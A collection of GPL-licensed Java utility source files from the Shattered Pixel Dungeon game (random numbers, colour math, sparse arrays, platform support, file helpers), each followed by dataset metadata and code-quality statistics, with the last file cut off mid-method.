public static float Float( float min, float max ) { return min + Float(max - min); } //returns a triangularly distributed float in the range [min, max) public static float NormalFloat( float min, float max ) { return min + ((Float(max - min) + Float(max - min))/2f); } //returns a uniformly distributed int in the range [0, max) public static int Int( int max ) { return max > 0 ? rand.nextInt(max) : 0; } //returns a uniformly distributed int in the range [min, max) public static int Int( int min, int max ) { return min + Int(max - min); } //returns a uniformly distributed int in the range [min, max] public static int IntRange( int min, int max ) { return min + Int(max - min + 1); } //returns a triangularly distributed int in the range [min, max] public static int NormalIntRange( int min, int max ) { return min + (int)((Float() + Float()) * (max - min + 1) / 2f); } //returns a uniformly distributed long in the range [-2^63, 2^63) public static long Long() { return rand.nextLong(); } //returns a uniformly distributed long in the range [0, max) public static long Long( long max ) { long result = Long(); if (result < 0) result += Long.MAX_VALUE; return result % max; } //returns an index from chances, the probability of each index is the weight values in changes public static int chances( float[] chances ) { int length = chances.length; float sum = 0; for (int i=0; i < length; i++) { sum += chances[i]; } float value = Float( sum ); sum = 0; for (int i=0; i < length; i++) { sum += chances[i]; if (value < sum) { return i; } } return -1; } @SuppressWarnings("unchecked") //returns a key element from chances, the probability of each key is the weight value it maps to public static <K> K chances( HashMap<K,Float> chances ) { int size = chances.size(); Object[] values = chances.keySet().toArray(); float[] probs = new float[size]; float sum = 0; for (int i=0; i < size; i++) { probs[i] = chances.get( values[i] ); sum += probs[i]; } if (sum <= 0) { return null; } float value = Float( sum ); sum = probs[0]; for (int i=0; i < size; i++) { if (value < sum) { return (K)values[i]; } sum += probs[i + 1]; } return null; } public static int index( Collection<?> collection ) { return Int(collection.size()); } @SafeVarargs public static<T> T oneOf(T... array ) { return array[Int(array.length)]; } public static<T> T element( T[] array ) { return element( array, array.length ); } public static<T> T element( T[] array, int max ) { return array[Int(max)]; } @SuppressWarnings("unchecked") public static<T> T element( Collection<? extends T> collection ) { int size = collection.size(); return size > 0 ? (T)collection.toArray()[Int( size )] : null; } public static<T> void shuffle( List<?extends T> list){ Collections.shuffle(list, rand); } public static<T> void shuffle( T[] array ) { for (int i=0; i < array.length - 1; i++) { int j = Int( i, array.length ); if (j != i) { T t = array[i]; array[i] = array[j]; array[j] = t; } } } public static<U,V> void shuffle( U[] u, V[]v ) { for (int i=0; i < u.length - 1; i++) { int j = Int( i, u.length ); if (j != i) { U ut = u[i]; u[i] = u[j]; u[j] = ut; V vt = v[i]; v[i] = v[j]; v[j] = vt; } } } }
4,907
Random
java
en
java
code
{"qsc_code_num_words": 730, "qsc_code_num_chars": 4907.0, "qsc_code_mean_word_length": 4.26164384, "qsc_code_frac_words_unique": 0.21643836, "qsc_code_frac_chars_top_2grams": 0.08486017, "qsc_code_frac_chars_top_3grams": 0.03214401, "qsc_code_frac_chars_top_4grams": 0.07200257, "qsc_code_frac_chars_dupe_5grams": 0.43876567, "qsc_code_frac_chars_dupe_6grams": 0.36804886, "qsc_code_frac_chars_dupe_7grams": 0.31983285, "qsc_code_frac_chars_dupe_8grams": 0.28672453, "qsc_code_frac_chars_dupe_9grams": 0.22725812, "qsc_code_frac_chars_dupe_10grams": 0.10575378, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01356383, "qsc_code_frac_chars_whitespace": 0.23374771, "qsc_code_size_file_byte": 4907.0, "qsc_code_num_lines": 200.0, "qsc_code_num_chars_line_max": 98.0, "qsc_code_num_chars_line_mean": 24.535, "qsc_code_frac_chars_alphabet": 0.81382979, "qsc_code_frac_chars_comments": 0.3240269, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.13740458, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00542659, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.13740458, "qsc_codejava_score_lines_no_logic": 0.19847328, "qsc_codejava_frac_words_no_modifier": 0.78947368, "qsc_codejava_frac_words_legal_var_name": 0.75, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/DeviceCompat.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.badlogic.gdx.Gdx; import com.watabou.noosa.Game; public class DeviceCompat { public static boolean supportsFullScreen(){ return Game.instance.getPlatformSupport().isFullscreenEnabled(); } public static boolean legacyDevice(){ return false; } public static boolean usesISO_8859_1(){ return true; } public static boolean isDebug(){ return Game.version.contains("INDEV"); } public static void openURI( String URI ){ Gdx.net.openURI( URI ); } public static void log( String tag, String message ){ Gdx.app.log( tag, message ); } }
1,386
DeviceCompat
java
en
java
code
{"qsc_code_num_words": 193, "qsc_code_num_chars": 1386.0, "qsc_code_mean_word_length": 5.22279793, "qsc_code_frac_words_unique": 0.59067358, "qsc_code_frac_chars_top_2grams": 0.07142857, "qsc_code_frac_chars_top_3grams": 0.07539683, "qsc_code_frac_chars_top_4grams": 0.05654762, "qsc_code_frac_chars_dupe_5grams": 0.08134921, "qsc_code_frac_chars_dupe_6grams": 0.05555556, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01953819, "qsc_code_frac_chars_whitespace": 0.18759019, "qsc_code_size_file_byte": 1386.0, "qsc_code_num_lines": 53.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 26.1509434, "qsc_code_frac_chars_alphabet": 0.87566607, "qsc_code_frac_chars_comments": 0.56349206, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00826446, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 1.0, "qsc_codejava_frac_lines_func_ratio": 0.26086957, "qsc_codejava_score_lines_no_logic": 0.47826087, "qsc_codejava_frac_words_no_modifier": 0.85714286, "qsc_codejava_frac_words_legal_var_name": null, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 1, "qsc_codejava_frac_lines_func_ratio": 1, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/GameMath.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.watabou.noosa.Game; public class GameMath { public static float speed( float speed, float acc ) { if (acc != 0) { speed += acc * Game.elapsed; } return speed; } public static float gate( float min, float value, float max ) { if (value < min) { return min; } else if (value > max) { return max; } else { return value; } } }
1,186
GameMath
java
en
java
code
{"qsc_code_num_words": 174, "qsc_code_num_chars": 1186.0, "qsc_code_mean_word_length": 4.72413793, "qsc_code_frac_words_unique": 0.56896552, "qsc_code_frac_chars_top_2grams": 0.04014599, "qsc_code_frac_chars_top_3grams": 0.04744526, "qsc_code_frac_chars_top_4grams": 0.06934307, "qsc_code_frac_chars_dupe_5grams": 0.09975669, "qsc_code_frac_chars_dupe_6grams": 0.06812652, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01958651, "qsc_code_frac_chars_whitespace": 0.22512648, "qsc_code_size_file_byte": 1186.0, "qsc_code_num_lines": 46.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 25.7826087, "qsc_code_frac_chars_alphabet": 0.87486398, "qsc_code_frac_chars_comments": 0.65851602, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 1.0, "qsc_codejava_frac_lines_func_ratio": 0.10526316, "qsc_codejava_score_lines_no_logic": 0.42105263, "qsc_codejava_frac_words_no_modifier": 0.66666667, "qsc_codejava_frac_words_legal_var_name": null, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 1, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/SparseArray.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.badlogic.gdx.utils.IntMap; import java.util.Arrays; import java.util.List; public class SparseArray<T> extends IntMap<T> { @Override public synchronized T put(int key, T value) { return super.put(key, value); } @Override public synchronized T get(int key, T defaultValue) { return super.get(key, defaultValue); } @Override public synchronized T remove(int key) { return super.remove(key); } public synchronized int[] keyArray() { return keys().toArray().toArray(); } public synchronized List<T> valueList() { return Arrays.asList(values().toArray().toArray()); } }
1,421
SparseArray
java
en
java
code
{"qsc_code_num_words": 204, "qsc_code_num_chars": 1421.0, "qsc_code_mean_word_length": 5.03921569, "qsc_code_frac_words_unique": 0.54411765, "qsc_code_frac_chars_top_2grams": 0.08754864, "qsc_code_frac_chars_top_3grams": 0.03793774, "qsc_code_frac_chars_top_4grams": 0.05544747, "qsc_code_frac_chars_dupe_5grams": 0.07976654, "qsc_code_frac_chars_dupe_6grams": 0.05447471, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01462995, "qsc_code_frac_chars_whitespace": 0.18226601, "qsc_code_size_file_byte": 1421.0, "qsc_code_num_lines": 53.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 26.81132075, "qsc_code_frac_chars_alphabet": 0.87005164, "qsc_code_frac_chars_comments": 0.54961295, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.125, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 1.0, "qsc_codejava_frac_lines_func_ratio": 0.04166667, "qsc_codejava_score_lines_no_logic": 0.20833333, "qsc_codejava_frac_words_no_modifier": 0.0, "qsc_codejava_frac_words_legal_var_name": null, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 0.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 1, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/ColorMath.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; public class ColorMath { public static int interpolate( int A, int B, float p ) { if (p <= 0) { return A; } else if (p >= 1) { return B; } int ra = A >> 16; int ga = (A >> 8) & 0xFF; int ba = A & 0xFF; int rb = B >> 16; int gb = (B >> 8) & 0xFF; int bb = B & 0xFF; float p1 = 1 - p; int r = (int)(p1 * ra + p * rb); int g = (int)(p1 * ga + p * gb); int b = (int)(p1 * ba + p * bb); return (r << 16) + (g << 8) + b; } public static int interpolate( float p, int... colors ) { if (p <= 0) { return colors[0]; } else if (p >= 1) { return colors[colors.length-1]; } int segment = (int)((colors.length-1) * p); return interpolate( colors[segment], colors[segment+1], (p * (colors.length - 1)) % 1 ); } public static int random( int a, int b ) { return interpolate( a, b, Random.Float() ); } }
1,683
ColorMath
java
en
java
code
{"qsc_code_num_words": 262, "qsc_code_num_chars": 1683.0, "qsc_code_mean_word_length": 3.97328244, "qsc_code_frac_words_unique": 0.41984733, "qsc_code_frac_chars_top_2grams": 0.01152738, "qsc_code_frac_chars_top_3grams": 0.03746398, "qsc_code_frac_chars_top_4grams": 0.05475504, "qsc_code_frac_chars_dupe_5grams": 0.10566763, "qsc_code_frac_chars_dupe_6grams": 0.05379443, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03585657, "qsc_code_frac_chars_whitespace": 0.25430778, "qsc_code_size_file_byte": 1683.0, "qsc_code_num_lines": 65.0, "qsc_code_num_chars_line_max": 91.0, "qsc_code_num_chars_line_mean": 25.89230769, "qsc_code_frac_chars_alphabet": 0.7936255, "qsc_code_frac_chars_comments": 0.46405229, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.12121212, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.01773836, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.15151515, "qsc_codejava_score_lines_no_logic": 0.24242424, "qsc_codejava_frac_words_no_modifier": 0.5, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/PDPlatformSupport.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.watabou.input.NoosaInputProcessor; public class PDPlatformSupport<GameActionType> { private final String version; private final int versionCode; private final String basePath; private final NoosaInputProcessor<GameActionType> inputProcessor; public PDPlatformSupport(String version, int versionCode, String basePath, NoosaInputProcessor<GameActionType> inputProcessor) { this.version = version; this.versionCode = versionCode; this.basePath = basePath; this.inputProcessor = inputProcessor; } public String getVersion() { return version; } public int getVersionCode() { return versionCode; } public String getBasePath() { return basePath; } public NoosaInputProcessor<GameActionType> getInputProcessor() { return inputProcessor; } public boolean isFullscreenEnabled() { return false; } }
1,648
PDPlatformSupport
java
en
java
code
{"qsc_code_num_words": 200, "qsc_code_num_chars": 1648.0, "qsc_code_mean_word_length": 6.27, "qsc_code_frac_words_unique": 0.515, "qsc_code_frac_chars_top_2grams": 0.03827751, "qsc_code_frac_chars_top_3grams": 0.03110048, "qsc_code_frac_chars_top_4grams": 0.04545455, "qsc_code_frac_chars_dupe_5grams": 0.06539075, "qsc_code_frac_chars_dupe_6grams": 0.0446571, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01241782, "qsc_code_frac_chars_whitespace": 0.16929612, "qsc_code_size_file_byte": 1648.0, "qsc_code_num_lines": 56.0, "qsc_code_num_chars_line_max": 130.0, "qsc_code_num_chars_line_mean": 29.42857143, "qsc_code_frac_chars_alphabet": 0.90357925, "qsc_code_frac_chars_comments": 0.47390777, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.14814815, "qsc_codejava_score_lines_no_logic": 0.51851852, "qsc_codejava_frac_words_no_modifier": 0.8, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 0.0, "qsc_codejava_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 1, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/utils/FileUtils.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.utils; import com.watabou.noosa.Game; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; public class FileUtils { // Files public static boolean fileExists( String name ){ File file = new File(Game.instance.getFilesDir(), name); return file.exists() && !file.isDirectory(); } public static File getFile( String name ){ return getFile( Game.instance.getFilesDir(), name); } public static File getFile( File base, String name ){ File file = new File(base, name); if (!file.exists() || !file.isDirectory()){ return file; } return null; } public static boolean deleteFile( String name ){ return Game.instance.deleteFile( name ); } public static boolean deleteFile( File file ){ return !file.isDirectory() 